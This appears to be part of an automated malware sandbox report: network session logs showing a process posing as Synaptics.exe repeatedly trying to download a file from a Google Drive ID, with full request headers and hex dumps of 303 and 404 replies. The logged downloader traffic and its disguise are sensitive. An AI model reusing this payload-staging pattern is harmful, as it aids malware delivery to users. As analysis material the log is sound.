57	192.168.2.7	49929	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:03 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:04 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6619NRU2svW49RRG81jeGP7dvMM36VFMLATIiLpWDasnPfntLm7NIOHmjUxoKw7NmX Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:04 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-kNmg2oDJKNSLSj8-btJovw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:04 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:04 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4d 6c 30 33 72 2d 74 71 30 79 44 33 44 2d 6f 51 69 55 4a 6d 4c 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="Ml03r-tq0yD3D-oQiUJmLQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:04 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	49930	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:03 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:04 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:04 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-ltuCXmhrNN7dMlRzepam_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	49938	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:04 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:05 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-0lm6-mm9FSJ8TJSd0cibRA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	49939	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:04 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:05 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7DTrgUj-SUL1WLFTQNp3WIdc1-af3V1miTmlaH9lkVp9VuRkeu4YRsEJ5N8bs_cvwI0sXQQoo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:05 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-JzoAc3I9O8u3VpNrDtQjYA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:05 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:05 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 61 46 41 54 5f 76 79 33 75 77 54 33 6d 51 4c 41 74 47 50 6a 37 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="aFAT_vy3uwT3mQLAtGPj7w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:05 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	49940	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:04 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:05 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-beN5JCy25a1k8Vob8QQQ5g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	49942	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:05 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:05 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4u3qQ3HfS40Bb9hR1unAuAxdVkripQx6l-j5a16bqwiuzKztcC6uruaXTz0nCr3LkX Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:05 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-6ksq4j7bcLz06X8RYt1J6w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:05 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:05 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 46 52 6a 50 41 69 55 7a 45 73 42 32 49 54 6a 63 7a 39 30 6f 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="lFRjPAiUzEsB2ITjcz90oA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:05 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	49949	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:05 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	49950	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:05 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	49951	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:06 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	49959	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:06 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:07 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:07 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-tpGbA8ivvwoaPZVG5aheIQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	49958	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:06 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:07 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:07 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-irYM0hT38J6bgtqYfPpq0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

